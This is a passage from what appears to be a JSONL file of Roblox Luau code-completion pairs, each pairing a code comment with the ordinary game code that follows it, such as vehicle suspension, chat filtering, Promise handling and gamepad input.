for a shotgun effect.\nlocal PIERCE_DEMO = true\t\t\t\t\t\t\t-- True if the pierce demo should be used. See the CanRayPierce function for more info."} +{"prompt": "-- zone 0 is all zones, any other zone is whatever that zone is (integer)", "completion": "\n"} +{"prompt": "--// Setting things up", "completion": "\nfor ind,loc in next,{\n\t_G = _G;\n\tgame = game;\n\tspawn = spawn;\n\tscript = script;\n\tgetfenv = getfenv;\n\tsetfenv = setfenv;\n\tworkspace = workspace;\n\tgetmetatable = getmetatable;\n\tsetmetatable = setmetatable;\n\tloadstring = loadstring;\n\tcoroutine = coroutine;\n\trawequal = rawequal;\n\ttypeof = typeof;\n\tprint = print;\n\tmath = math;\n\twarn = warn;\n\terror = error;\n\tpcall = pcall;\n\txpcall = xpcall;\n\tselect = select;\n\trawset = rawset;\n\trawget = rawget;\n\tipairs = ipairs;\n\tpairs = pairs;\n\tnext = next;\n\tRect = Rect;\n\tAxes = Axes;\n\tos = os;\n\ttick = tick;\n\tFaces = Faces;\n\tdelay = delay;\n\tunpack = unpack;\n\tstring = string;\n\tColor3 = Color3;\n\tnewproxy = newproxy;\n\ttostring = tostring;\n\ttonumber = tonumber;\n\tInstance = Instance;\n\tTweenInfo = TweenInfo;\n\tBrickColor = BrickColor;\n\tNumberRange = NumberRange;\n\tColorSequence = ColorSequence;\n\tNumberSequence = NumberSequence;\n\tColorSequenceKeypoint = ColorSequenceKeypoint;\n\tNumberSequenceKeypoint = NumberSequenceKeypoint;\n\tPhysicalProperties = PhysicalProperties;\n\tRegion3int16 = Region3int16;\n\tVector3int16 = Vector3int16;\n\telapsedTime = elapsedTime;\n\trequire = require;\n\ttable = table;\n\ttype = type;\n\twait = wait;\n\tEnum = Enum;\n\tUDim = UDim;\n\tUDim2 = UDim2;\n\tVector2 = Vector2;\n\tVector3 = Vector3;\n\tRegion3 = Region3;\n\tCFrame = CFrame;\n\tRay = Ray;\n\tservice = service;\n} do locals[ind] = loc end\n"} +{"prompt": "-- local function arrayBufferEquality(\n-- \ta: unknown,\n-- \tb: unknown\n-- ): boolean | nil\n-- \tif\n-- \t\tnot Boolean.toJSBoolean(\n-- \t\t\terror('not implemented') --[[ ROBLOX TODO: Unhandled node for type: BinaryExpression ]] --[[ a instanceof ArrayBuffer ]]\n-- \t\t)\n-- \t\tor not Boolean.toJSBoolean(\n-- \t\t\terror('not implemented') --[[ ROBLOX TODO: Unhandled node for type: BinaryExpression ]] --[[ b instanceof ArrayBuffer ]]\n-- \t\t)\n-- \tthen\n-- \t\treturn nil\n-- \tend\n-- \tlocal dataViewA = DataView.new(a)\n-- \tlocal dataViewB = DataView.new(b)\n-- \t-- Buffers are not equal when they do not have the same byte length\n-- \tif dataViewA.byteLength ~= dataViewB.byteLength then\n-- \t\treturn false\n-- \tend\n-- \t-- Check if every byte value is equal to each other\n-- \tlocal i = 0\n-- \twhile i < dataViewA.byteLength do\n-- \t\tif dataViewA:getUint8(i) ~= dataViewB:getUint8(i) then\n-- \t\t\treturn false\n-- \t\tend\n-- \t\ti += 1\n-- \tend\n-- \treturn true\n-- end\n-- ROBLOX deviation END", "completion": "\n\nlocal function sparseArrayEquality(a: any, b: any): boolean | nil\n\tif not Array.isArray(a) or not Array.isArray(b) then\n\t\treturn nil\n\tend\n\n\tlocal aKeys = Object.keys(a)\n\tlocal bKeys = Object.keys(b)\n\n\treturn --[[\n\t\t\tROBLOX TODO: (ADO-1217) replace the line below\n\t\t\tonce Map/Set functionality is implemented\n\n\t\t\t--equals(a, b, {iterableEquality, typeEquality}, true) and\n\t\t]]equals(a, b, { typeEquality }, true) and equals(aKeys, bKeys)\nend\n\nlocal function partition(items: Array, predicate: (T) -> boolean): { [number]: Array }\n\tlocal result = { {}, {} }\n\n\tfor _, item in ipairs(items) do\n\t\ttable.insert(result[predicate(item) and 1 or 2], item)\n\tend\n\n\treturn result\nend\n\nfunction pathAsArray(propertyPath: string): Array\n\t-- will match everything that's not a dot or a bracket, and \"\" for consecutive dots.\n\tlocal pattern = RegExp(\"[^.[\\\\]]+|(?=(?:\\\\.)(?:\\\\.|$))\") -- ROBLOX TODO: add 'g' flag when supported\n\tlocal properties: Array = {}\n\n\t-- Because the regex won't match a dot in the beginning of the path, if present.\n\tif propertyPath:sub(1, 1) == \".\" then\n\t\ttable.insert(properties, \"\")\n\tend\n\n\t--[[\n\t\tROBLOX deviation: implement the following logic without using String.protorype.replace functionality\n\t\toriginal code:\n\t\tpropertyPath.replace(pattern, match => {\n\t\t properties.push(match);\n\t\t return match;\n\t\t});\n\t]]\n\tlocal totalLength = 0\n\tlocal propertyPath_ = propertyPath\n\tlocal match = pattern:exec(propertyPath_)\n\twhile match ~= nil and totalLength < #propertyPath do\n\t\tlocal wholeMatch = match[1]\n\t\tlocal wholeMatchEnd = match.index + #wholeMatch\n\t\tlocal matchIndex = totalLength + match.index\n\t\tlocal prevChar = propertyPath:sub(matchIndex - 1, matchIndex - 1)\n\n\t\t-- ROBLOX NOTE: for `[digit]` syntax we need to parse to number so that array indexing works correctly in Lua\n\t\tif prevChar == \"[\" then\n\t\t\tlocal matchNumber = tonumber(wholeMatch, 10)\n\t\t\tif matchNumber then\n\t\t\t\ttable.insert(properties, matchNumber)\n\t\t\telse\n\t\t\t\ttable.insert(properties, wholeMatch)\n\t\t\tend\n\t\telse\n\t\t\ttable.insert(properties, wholeMatch)\n\t\tend\n\t\ttotalLength += wholeMatchEnd\n\n\t\tpropertyPath_ = propertyPath_:sub(wholeMatchEnd + 1)\n\t\tmatch = pattern:exec(propertyPath_)\n\tend\n\t-- ROBLOX deviation END\n\n\treturn properties\nend\n\nlocal function isError(value: any): any\n\t-- Although strings and tables are not errors, they are the types that\n\t-- can be used to trigger an error in Lua so we treat them as the \"error\"\n\t-- types\n\tif typeof(value) == \"string\" or typeof(value) == \"table\" then\n\t\treturn true\n\tend\n\n\treturn false\nend\n\nlocal function emptyObject(obj: any): boolean\n\treturn typeof(obj) == \"table\" and #Object.keys(obj) == 0 or false\nend\n\nlocal MULTILINE_REGEXP = \"[\\r\\n]\"\n\nlocal function isOneline(expected: any, received: any): boolean\n\treturn typeof(expected) == \"string\"\n\t\tand typeof(received) == \"string\"\n\t\tand (not received:match(MULTILINE_REGEXP) or not expected:match(MULTILINE_REGEXP))\nend\n"} +{"prompt": "-- DO NOT TOUCH THE CODE BELOW UNLESS YOU KNOW WHAT YOU ARE DOING --", "completion": "\n\n\n\n\n\n\n\n\n\n\n\n\nlocal TweenService = game:GetService(\"TweenService\")\n\nlocal head = script.Parent.BakariHead\nlocal button = script.Parent.HeadAccessories.Button\nlocal innerHead = script.Parent.HeadAccessories.BakariInnerHead\nlocal innerEars = script.Parent.HeadAccessories.InnerEars\nlocal ears = script.Parent.HeadAccessories.OuterEars\nlocal cap = script.Parent.HeadAccessories.Cap\nlocal lFang = script.Parent.HeadAccessories.LeftFang\nlocal rFang = script.Parent.HeadAccessories.RightFang\nlocal lArm = script.Parent[\"Left Arm\"]\nlocal rArm = script.Parent[\"Right Arm\"]\nlocal t = script.Parent.Torso\nlocal lWing = script.Parent.Extra.LeftWing\nlocal rWing = script.Parent.Extra.RightWing\nlocal lTA = script.Parent.Extra.TornArmL\nlocal rTA = script.Parent.Extra.TornArm\nlocal lLeg = script.Parent[\"Left Leg\"]\nlocal rLeg = script.Parent[\"Right Leg\"]\nlocal bow = script.Parent.Extra.Bow\nlocal bb = script.Parent.Extra.BeltBottom\nlocal fa = script.Parent.Extra.FakeArm\n\n\n\nlocal goal = {}\ngoal.Transparency = 1\n\nlocal goal2 = {}\ngoal2.Transparency = 0\n \nlocal tweenInfo = TweenInfo.new(.2, Enum.EasingStyle.Linear)\n"} +{"prompt": "-- UAEmaple", "completion": "\n\n\n\nfunction onTouch(part) \nlocal human = part.Parent:findFirstChild(\"Humanoid\") \nif human ~= nil then \npart.Parent:findFirstChild(\"Head\").Transparency = 1 \npart.Parent:findFirstChild(\"Torso\").Transparency = 1 \npart.Parent:findFirstChild(\"Left Arm\").Transparency = 1 \npart.Parent:findFirstChild(\"Right Arm\").Transparency = 1 \npart.Parent:findFirstChild(\"Left Leg\").Transparency = 1 \npart.Parent:findFirstChild(\"Right Leg\").Transparency = 1 \nif part.Parent:findFirstChild(\"Head\"):findFirstChild(\"face\") == nil then return end \npart.Parent:findFirstChild(\"Head\"):findFirstChild(\"face\"):remove() \nif part.Parent:findFirstChild(\"Torso\"):findFirstChild(\"roblox\") == nil then return end \npart.Parent:findFirstChild(\"Torso\"):findFirstChild(\"roblox\"):remove() \nend \nend \nscript.Parent.Touched:connect(onTouch)print(\"Hello world!\")\n"} +{"prompt": "--// This method is to be used with the new filter API. This method takes the\n--// TextFilterResult objects and converts them into the appropriate string\n--// messages for each player.", "completion": "\nfunction methods:InternalSendFilteredMessageWithFilterResult(inMessageObj, channelName)\n\tlocal messageObj = ShallowCopy(inMessageObj)\n\n\tlocal oldFilterResult = messageObj.FilterResult\n\tlocal player = self:GetPlayer()\n\n\tlocal msg = \"\"\n\tpcall(function()\n\t\tif (messageObj.IsFilterResult) then\n\t\t\tif (player) then\n\t\t\t\tmsg = oldFilterResult:GetChatForUserAsync(player.UserId)\n\t\t\telse\n\t\t\t\tmsg = oldFilterResult:GetNonChatStringForBroadcastAsync()\n\t\t\tend\n\t\telse\n\t\t\tmsg = oldFilterResult\n\t\tend\n\tend)\n\n\t--// Messages of 0 length are the result of two users not being allowed\n\t--// to chat, or GetChatForUserAsync() failing. In both of these situations,\n\t--// messages with length of 0 should not be sent.\n\tif (#msg > 0) then\n\t\tmessageObj.Message = msg\n\t\tmessageObj.FilterResult = nil\n\t\tself:InternalSendFilteredMessage(messageObj, channelName)\n\tend\nend\n\nfunction methods:InternalSendSystemMessage(messageObj, channelName)\n\tlocal success, err = pcall(function()\n\t\tself:LazyFire(\"eReceivedSystemMessage\", messageObj, channelName)\n\t\tif self.PlayerObj then\n\t\t\tself.EventFolder.OnNewSystemMessage:FireClient(self.PlayerObj, messageObj, channelName)\n\t\tend\n\tend)\n\tif not success and err then\n\t\tprint(\"Error sending internal system message: \" ..err)\n\tend\nend\n\nfunction methods:UpdateChannelNameColor(channelName, channelNameColor)\n\tself:LazyFire(\"eChannelNameColorUpdated\", channelName, channelNameColor)\n\tif self.PlayerObj then\n\t\tself.EventFolder.ChannelNameColorUpdated:FireClient(self.PlayerObj, channelName, channelNameColor)\n\tend\nend\n"} +{"prompt": "--[[\n\tROBLOX deviation: skipping JEST_INTERNALS_IGNORE\n\toriginal code:\n\tconst JEST_INTERNALS_IGNORE =\n\t /^\\s+at.*?jest(-.*?)?(\\/|\\\\)(build|node_modules|packages)(\\/|\\\\)/;\n]]", "completion": "\nlocal ANONYMOUS_FN_IGNORE = \"^%s+at .*$\""} +{"prompt": "---////==========================================\\\\\\---\t\n--To install the fans, group them together with the switch. You can have multiple fans installed and be controlled by one switch! Just make sure all fans and the switch have the same parent!-- (In other words, if you know how to install SmartLites, then you do the same here)--\n---////==========================================\\\\\\---\t", "completion": "\nSwitch = script.Parent.Parent.Parent.Switch.IsOn\nMotor = script.Parent.Motor\nShutter = script.Parent.Parent.Housing\n\nfunction Active()\n\tif Switch.Value == true then\n\t\tShutter.OpenShutter.Transparency = 0\n\t\tShutter.ClosedShutter.Transparency = 1\n\t\tMotor.Sound:Play()\n\t\tMotor.Sound.PlaybackSpeed = 0\n\t\t\twhile true do\n\t\t\tMotor.BottomParamB = Motor.BottomParamB + 0.01\n\t\t\tMotor.Sound.PlaybackSpeed = Motor.BottomParamB\n\t\t\twait()\n\t\t\tif Motor.BottomParamB >= 1 then break end\n\t\t\tif Switch.Value == false then break end\n\t\t\t\n\t\t\tend\n\telseif Switch.Value == false then\n\t\t\twhile true do\n\t\t\tscript.Parent.Motor.BottomParamB = Motor.BottomParamB - 0.005\n\t\t\tMotor.Sound.PlaybackSpeed = Motor.BottomParamB\n\t\t\twait()\n\t\t\tif Switch.Value == true then break end\n\t\t\tif Motor.BottomParamB <= 0 then break end\n\t\t\tend\n\t\t\tMotor.BottomParamB = 0\n\t\tShutter.OpenShutter.Transparency = 1\n\t\tShutter.ClosedShutter.Transparency = 0\n\tend\n\tend\nSwitch.Changed:connect(Active)\n"} +{"prompt": "--Updates the current selected frame.", "completion": "\nlocal function UpdateActiveButton()\n\tlocal ActiveGroup = GetActiveGroup()\n\t\n\t--Reset the last frame if it the group has changed.\n\tif LastActiveGroup ~= ActiveGroup then\n\t\tLastActiveGroup = ActiveGroup\n\t\tLastFrame = nil\n\tend\n\t\n\t--Return if a controller isn't connected.\n\tif ControllerConnected() == false then\n\t\treturn\n\tend\n\t\n\t--Set the frame if a group exiszts.\n\tif ActiveGroup then\n\t\tif not LastFrame then\n\t\t\tLastFrame = ActiveGroup:GetFirstFrame()\n\t\tend\n\t\tif LastFrame and not LastFrame:IsDescendantOf(game.Players) then\n\t\t\tLastFrame = nil\n\t\tend\n\t\t\n\t\tlocal CurrentSelectedObject = GuiService.SelectedObject\n\t\tif not CurrentSelectedObject or not ActiveGroup:FrameInGroup(CurrentSelectedObject) then\n\t\t\tGuiService.SelectedObject = LastFrame\n\t\telse\n\t\t\tLastFrame = CurrentSelectedObject\n\t\tend\n\telse\n\t\tGuiService.SelectedObject = nil\n\tend\nend\n"} +{"prompt": "-- GlobalUpdates object:", "completion": "\n\nlocal GlobalUpdates = {\n\t--[[\n\t\t_updates_latest = {}, -- [table] {update_index, {{update_id, version_id, update_locked, update_data}, ...}}\n\t\t_pending_update_lock = {update_id, ...} / nil, -- [table / nil]\n\t\t_pending_update_clear = {update_id, ...} / nil, -- [table / nil]\n\t\t\n\t\t_new_active_update_listeners = [ScriptSignal] / nil, -- [table / nil]\n\t\t_new_locked_update_listeners = [ScriptSignal] / nil, -- [table / nil]\n\t\t\n\t\t_profile = Profile / nil, -- [Profile / nil]\n\t\t\n\t\t_update_handler_mode = true / nil, -- [bool / nil]\n\t--]]\n}\nGlobalUpdates.__index = GlobalUpdates\n"} +{"prompt": "--@recursive", "completion": "\nlocal function factorial(n : number) : number\n\tif n == 0 then return 1 end\n\treturn n * factorial(n - 1)\nend\n\nlocal function binomial(n : number, i : number) : number\n\tlocal x : number = nil\n\tx = (factorial(n)) / \n\t\t(factorial(n - i) * factorial(i))\n\treturn x\nend\n"} +{"prompt": "--(FL.RotVelocity.Magnitude+FR.RotVelocity.Magnitude+RL.RotVelocity.Magnitude+RR.RotVelocity.Magnitude+(speed/1.33034))/5", "completion": "\n\nwhile wait() do\nspeed = carSeat.Velocity.Magnitude\npower = 0\naverage = 10*((carSeat.Storage.BrakeBias.Value/100))\ntrack = carSeat.Velocity.Unit*carSeat.CFrame.lookVector\n\tslipDetection = track.X+track.Z\n\t\n\tRight = (carSeat.Parent.Parent.Wheels.RR.Wheel.Velocity.Magnitude+carSeat.Parent.Parent.Wheels.FR.Wheel.Velocity.Magnitude)/2\n\tLeft = (carSeat.Parent.Parent.Wheels.RL.Wheel.Velocity.Magnitude+carSeat.Parent.Parent.Wheels.FL.Wheel.Velocity.Magnitude)/2\n\t\n\tif Right > Left then\n\tleft = true\n\telse\n\t\tleft = false\n\tend\n\t\nif script.OVERRIDE.Value == false then\nif carSeat.Storage.ASC.Value == true then\n\tif carSeat.Steer ~= 0 then\n\t\tif slipDetection > 0.999 and left == false then\n\t\t\tscript.Toggle.Value = true\n\t\telse\n\t\t\tscript.Toggle.Value = false\n\t\tend\n\telse\n\t\tscript.Toggle.Value = false\n\tend\nend\n\nif carSeat.Storage.Handbrake.Value == true then\n\tRRBRAKE.CanCollide = true\n\tRRBRAKEU.CanCollide = true\n\t\nelse\n\t\n\tif speed > 0 then\n\t\tif script.Parent.Parent.Storage.Brake.Value ~= 0 or script.Toggle.Value == true then\n\t\t\t\tif RR.RotVelocity.Magnitude + power > average then\n\t\t\t\t\tscript.Read.Value = true\n\t\t\t\t\tRRBRAKE.CanCollide = true\n\t\t\t\t\tRRBRAKEU.CanCollide = true --print(\"RR\")\n\n\t\t\t\telseif RR.RotVelocity.Magnitude + power < average then\n\t\t\t\t\t RRBRAKE.CanCollide = false script.Read.Value = false\n\t\t\t\t\t RRBRAKEU.CanCollide = false\t\n\t\t\tend\n\t\t\t\n\t\telseif script.Parent.Parent.Storage.Brake.Value == 0 and script.Toggle.Value == false then\n\t\t\tscript.Read.Value = false\n\t\t\tRRBRAKE.CanCollide = false\n\t\t\tRRBRAKEU.CanCollide = false\n\t\tend\n\t\tend\nend\nelse\n\tRRBRAKE.CanCollide = true\n\tRRBRAKEU.CanCollide = true\n\tend\nend\n\n"} +{"prompt": "--\t====================\n--\tEXPLOSIVE\n--\tMake a bullet explosive so user can deal a damage to multiple enemy in single shot. NOTE: Explosion won't break joints\n--\t====================", "completion": "\n\n\t\tExplosiveEnabled = false;\n\t\tRadius = 8;\n\t\t"} +{"prompt": "-- Call this from a function bound to Renderstep with Input Priority", "completion": "\nfunction VehicleController:Update(moveVector, cameraRelative, usingGamepad)\n\tif self.vehicleSeat then\n\t\tif cameraRelative then\n\t\t\t-- This is the default steering mode\n\t\t\tmoveVector = moveVector + Vector3.new(self.steer, 0, self.throttle)\n\t\t\tif usingGamepad and onlyTriggersForThrottle and useTriggersForThrottle then\n\t\t\t\tself.vehicleSeat.ThrottleFloat = -self.throttle\n\t\t\telse\n\t\t\t\tself.vehicleSeat.ThrottleFloat = -moveVector.Z\n\t\t\tend\n\t\t\tself.vehicleSeat.SteerFloat = moveVector.X\n\n\t\t\treturn moveVector, true\n\t\telse\n\t\t\t-- This is the path following mode\n\t\t\tlocal localMoveVector = self.vehicleSeat.Occupant.RootPart.CFrame:VectorToObjectSpace(moveVector)\n\n\t\t\tself.vehicleSeat.ThrottleFloat = self:ComputeThrottle(localMoveVector)\n\t\t\tself.vehicleSeat.SteerFloat = self:ComputeSteer(localMoveVector)\n\n\t\t\treturn ZERO_VECTOR3, true\n\t\tend\n\tend\n\treturn moveVector, false\nend\n\nfunction VehicleController:ComputeThrottle(localMoveVector)\n\tif localMoveVector ~= ZERO_VECTOR3 then\n\t\tlocal throttle = -localMoveVector.Z\n\t\treturn throttle\n\telse\n\t\treturn 0.0\n\tend\nend\n\nfunction VehicleController:ComputeSteer(localMoveVector)\n\tif localMoveVector ~= ZERO_VECTOR3 then\n\t\tlocal steerAngle = -math.atan2(-localMoveVector.x, -localMoveVector.z) * (180 / math.pi)\n\t\treturn steerAngle / self.autoPilot.MaxSteeringAngle\n\telse\n\t\treturn 0.0\n\tend\nend\n\nfunction VehicleController:SetupAutoPilot()\n\t-- Setup default\n\tself.autoPilot.MaxSpeed = self.vehicleSeat.MaxSpeed\n\tself.autoPilot.MaxSteeringAngle = AUTO_PILOT_DEFAULT_MAX_STEERING_ANGLE\n\n\t-- VehicleSeat should have a MaxSteeringAngle as well.\n\t-- Or we could look for a child \"AutoPilotConfigModule\" to find these values\n\t-- Or allow developer to set them through the API as like the CLickToMove customization API\nend\n\nreturn VehicleController\n"} +{"prompt": "--[[ \n Better don't change anything. This script is WIP v.0.3\n This thing still glitchy still needs improvement\n GetNear sound doesn't work yet comming soon in next version\n Features: Flash and boom sound whem rake found you, Rake theme stop whem rake stunning, Rake theme get higher pitch whem rake get more near, Night themes, Screen shake\n\n Don't edit pass this line you may break the whole script ]]\n-----------------------------------------------------------------------------------------------------------------------------------------------------------------", "completion": "\nfunction StartSound()\nNightTheme:Pause()\nFound:Play()\nFlashEffect.BackgroundTransparency = 0.6\nwait(0.4)\nScreenShake.Disabled = false\nFlashEffect.BackgroundTransparency = 1\nRakeTheme:Play()\t\nend\n\nfunction StopSound()\nScreenShake.Disabled = true\nFlashEffect.BackgroundTransparency = 1\nRakeTheme:Stop()\nNightTheme:Play()\ngame.Workspace.CurrentCamera.FieldOfView = 70\nend\n\nfunction UpdateNightThemeID()\nlocal RandomNTIDS = math.random(1,#NightThemeIDS)\nlocal ChosenNTID = NightThemeIDS[RandomNTIDS]"} +{"prompt": "--\tlocal CKey = { KeyStates[KeyMap.Flip.PrimaryKey] or KeyStates[KeyMap.Flip.SecondaryKey] }\n--\tif CKey then\n--\t\tInput.Flip = 0\n--\telse\n--\t\tInput.Flip = 1\n--\tend", "completion": "\nend\n\t\nUIS.InputBegan:Connect(function(InputObj)\n\t--if InputObj.UserInputType == Enum.UserInputType.Keyboard then\n\t\tKeyStates[InputObj.KeyCode] = true\n\t\tKeyChanged()\n\t--end\nend)\n\nUIS.InputEnded:Connect(function(InputObj)\n\t--if InputObj.UserInputType == Enum.UserInputType.Keyboard then\n\t\tKeyStates[InputObj.KeyCode] = false\n\t\tKeyChanged()\n\t--end\nend)\n\nUIS.InputChanged:Connect(function(InputObj)\n\tif Input.InputMode == \"Gamepad\" then --Search for gamepad input\n\t\tif UIS.GamepadEnabled then\n\t\t\tlocal State = UIS:GetGamepadState(Enum.UserInputType.Gamepad1)\n\t\t\tlocal Stick1 = 0\n\t\t\tlocal RT1 = 0\n\t\t\tlocal LT1 = 0\n\t\t\tfor i,v in pairs(State) do\n\t\t\t\tif v.KeyCode == Enum.KeyCode.ButtonR2 then\n\t\t\t\t\tRT1 = v.Position\n\t\t\t\telseif v.KeyCode == Enum.KeyCode.ButtonL2 then\n\t\t\t\t\tLT1 = v.Position\n\t\t\t\telseif v.KeyCode == Enum.KeyCode.Thumbstick1 then\n\t\t\t\t\tStick1 = v.Position\n\t\t\t\t\t--if math.abs(Stick1)<0.18 then Stick1 = 0 else\n\t\t\t\t\t--\tStick1 = 1.18*Stick1 - 0.18*math.sign(Stick1)\n\t\t\t\t\t--end\n\t\t\t\tend\n\t\t\tend\n\t\t\tInput.Triggers = RT1.Z - LT1.Z\n\t\t\tInput.LStickY = Stick1.Y\n\t\t\tInput.LStickX = -Stick1.X\n\t\tend\n\tend\nend)\n\t\t\nreturn Input\n"} +{"prompt": "--Turbo Gauge GUI--", "completion": "\n\nlocal fix = 0\n\n\nfunction Gauge()\n\t\n\tscript.Parent.BAnalog.Visible = BoostGaugeVisible\n\tscript.Parent.Background.Visible = BoostGaugeVisible\n\tscript.Parent.DontTouch.Visible = BoostGaugeVisible\n\tscript.Parent.Num.Visible = BoostGaugeVisible\n\t\n\t\n\tlocal turbo = ((totalPSI/2)*WasteGatePressure)\n\tlocal turbo2 = WasteGatePressure\n\t\n\tfix = -turbo2 + turbo*2\n\t\n\tscript.Parent.BAnalog.Rotation= 110 + (totalPSI/2)*220\n\t\n\t\nscript.Parent.Num.N1.TextLabel.Text = (math.floor(WasteGatePressure*(4/4)))*TurboCount\nscript.Parent.Num.N2.TextLabel.Text = (math.floor(WasteGatePressure*(3/4)))*TurboCount\nscript.Parent.Num.N3.TextLabel.Text = (math.floor(WasteGatePressure*(2/4)))*TurboCount\nscript.Parent.Num.N4.TextLabel.Text = (math.floor(WasteGatePressure*(1/4)))*TurboCount\nscript.Parent.Num.N5.TextLabel.Text = 0\nscript.Parent.Num.N6.TextLabel.Text = -5\n\n\nend\n"} +{"prompt": "--Rear Suspension", "completion": "\nTune.RSusDamping\t= 401\t\t-- Spring Dampening\nTune.RSusStiffness\t= 14000\t\t-- Spring Force\nTune.FAntiRoll \t\t= 18.82\t\t-- Anti-Roll (Gyro Dampening)\n\nTune.RSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\nTune.RPreCompress\t= .3\t\t-- Pre-compression adds resting length force\nTune.RExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\nTune.RCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\nTune.RSusAngle\t\t= 54\t\t-- Suspension Angle (degrees from horizontal)\n\nTune.RWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\nTune.RWsBoneAngle\t= 2\t\t\t-- Wishbone angle (degrees from horizontal)\nTune.RAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t--[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t--[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t--[[Forward]]\t\t0\t\t}\t-- positive = forward\n"} +{"prompt": "-- Rocket will fly through things named these", "completion": "\nlocal ROCKET_IGNORE_LIST = {rocket = 1, handle = 1, effect = 1, water = 1} --NOTE: Keys must be lowercase, values must evaluate to true\n"} +{"prompt": "--[[**\n\tensures Roblox PhysicalProperties type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.PhysicalProperties = primitive(\"PhysicalProperties\")\n"} +{"prompt": "-- services", "completion": "\n\nlocal UserInputService\t= game:GetService(\"UserInputService\")\nlocal ReplicatedStorage\t= game:GetService(\"ReplicatedStorage\")\nlocal TweenService\t\t= game:GetService(\"TweenService\")\nlocal RunService\t\t= game:GetService(\"RunService\")\nlocal Workspace\t\t\t= game:GetService(\"Workspace\")\nlocal Players\t\t\t= game:GetService(\"Players\")\nlocal Lighting\t\t\t= game:GetService(\"Lighting\")\nlocal Debris\t\t\t= game:GetService(\"Debris\")\n"} +{"prompt": "--Imagine this is inside Simulation...", "completion": "\nfunction module.ActiveThink(simulation, cmd)\n\t\n --Did the player have a movement request?\n local wishDir = nil\n if cmd.x ~= 0 or cmd.y ~= 0 or cmd.z ~= 0 then\n wishDir = Vector3.new(cmd.x, cmd.y, cmd.z).Unit\n simulation.state.pushDir = Vector2.new(cmd.x, cmd.z)\n else\n simulation.state.pushDir = Vector2.new(0, 0)\n end\n \n --Does the player have an input?\n if wishDir ~= nil then\n\n simulation.state.vel = MathUtils:GroundAccelerate(\n wishDir,\n simulation.constants.maxSpeed,\n simulation.constants.accel,\n simulation.state.vel,\n cmd.deltaTime\n )\n\n\t\tsimulation.characterData:PlayAnimation(Enums.Anims.Walk,Enums.AnimChannel.Channel0, false)\n else\n\t\tsimulation.characterData:PlayAnimation(Enums.Anims.Idle,Enums.AnimChannel.Channel0, false)\n end\n\n simulation.state.vel = MathUtils:VelocityFriction(simulation.state.vel, simulation.constants.flyFriction, cmd.deltaTime)\n\n local walkNewPos, walkNewVel, hitSomething = simulation:ProjectVelocity(simulation.state.pos, simulation.state.vel, cmd.deltaTime)\n simulation.state.pos = walkNewPos\n simulation.state.vel = walkNewVel\n \n --Do angles\n if wishDir ~= nil then\n simulation.state.targetAngle = MathUtils:PlayerVecToAngle(wishDir)\n simulation.state.angle = MathUtils:LerpAngle(\n simulation.state.angle,\n simulation.state.targetAngle,\n simulation.constants.turnSpeedFrac * cmd.deltaTime\n )\n end\nend\n\nreturn module\n"} +{"prompt": "-- MouseClick ", "completion": "\nInteractionBillboardButton.Activated:Connect(toggleMouse)\ntarget.ClickDetector.MouseClick:Connect(toggleMouse)\n\n"} +{"prompt": "-- -- ROBLOX FIXME START: added types and objects that do not exist in Luau\n-- type NodeJS_ProcessEnv = any\n-- type NodeJS_Process = any", "completion": "\n"} +{"prompt": "--[[\n\tConstructs a new Promise with the given initializing callback.\n\tThis is generally only called when directly wrapping a non-promise API into\n\ta promise-based version.\n\tThe callback will receive 'resolve' and 'reject' methods, used to start\n\tinvoking the promise chain.\n\tFor example:\n\t\tlocal function get(url)\n\t\t\treturn Promise.new(function(resolve, reject)\n\t\t\t\tspawn(function()\n\t\t\t\t\tresolve(HttpService:GetAsync(url))\n\t\t\t\tend)\n\t\t\tend)\n\t\tend\n\t\tget(\"https://google.com\")\n\t\t\t:andThen(function(stuff)\n\t\t\t\tprint(\"Got some stuff!\", stuff)\n\t\t\tend)\n]]", "completion": "\nfunction Promise.new(callback)\n\tlocal self = {\n\t\t-- Used to locate where a promise was created\n\t\t_source = debug.traceback(),\n\n\t\t-- A tag to identify us as a promise\n\t\t[PromiseMarker] = true,\n\n\t\t_status = Promise.Status.Started,\n\n\t\t-- A table containing a list of all results, whether success or failure.\n\t\t-- Only valid if _status is set to something besides Started\n\t\t_values = nil,\n\n\t\t-- Lua doesn't like sparse arrays very much, so we explicitly store the\n\t\t-- length of _values to handle middle nils.\n\t\t_valuesLength = -1,\n\n\t\t-- If an error occurs with no observers, this will be set.\n\t\t_unhandledRejection = false,\n\n\t\t-- Queues representing functions we should invoke when we update!\n\t\t_queuedResolve = {},\n\t\t_queuedReject = {},\n\t}\n\n\tsetmetatable(self, Promise)\n\n\tlocal function resolve(...)\n\t\tself:_resolve(...)\n\tend\n\n\tlocal function reject(...)\n\t\tself:_reject(...)\n\tend\n\n\tlocal _, result = wpcallPacked(callback, resolve, reject)\n\tlocal ok = result[1]\n\tlocal err = result[2]\n\n\tif not ok and self._status == Promise.Status.Started then\n\t\treject(err)\n\tend\n\n\treturn self\nend\n"} +{"prompt": "----- Water particle handler -----", "completion": "\n\nfunction waterOutput()\n\tif script.Parent.ColdOn.Value == false and script.Parent.HotOn.Value == false then\n\t\tfaucetParticles.Enabled = false\n\t\tshowerHead.Enabled = false\n\t\tbathSound:Stop()\n\t\tshowerSound:Stop()\n\telseif script.Parent.ShowerMode.Value == false then\n\t\tfaucetParticles.Enabled = true\n\t\tshowerHead.Enabled = false\n\t\tbathSound:Play()\n\t\tshowerSound:Stop()\n\telse\n\t\tfaucetParticles.Enabled = false\n\t\tshowerHead.Enabled = true\n\t\tbathSound:Stop()\n\t\tshowerSound:Play()\t\n\tend\nend\n\nscript.Parent.ColdOn.Changed:connect(function()\n\twaterOutput()\nend)\n\nscript.Parent.HotOn.Changed:connect(function()\n\twaterOutput()\nend)\n\nscript.Parent.ShowerMode.Changed:connect(function()\n\twaterOutput()\nend)\n"} +{"prompt": "--[[\n\tExits the view, including disconnection of any connections.\n]]", "completion": "\nfunction PreGame.exit()\n\tactiveElements:Destroy()\n\n\tfor _, connection in pairs(activeConnections) do\n\t\tconnection:Disconnect()\n\tend\nend\n\nreturn PreGame\n"} +{"prompt": "------------------------------------------------------------------------------------------------------------------------------\n--// Built-in local 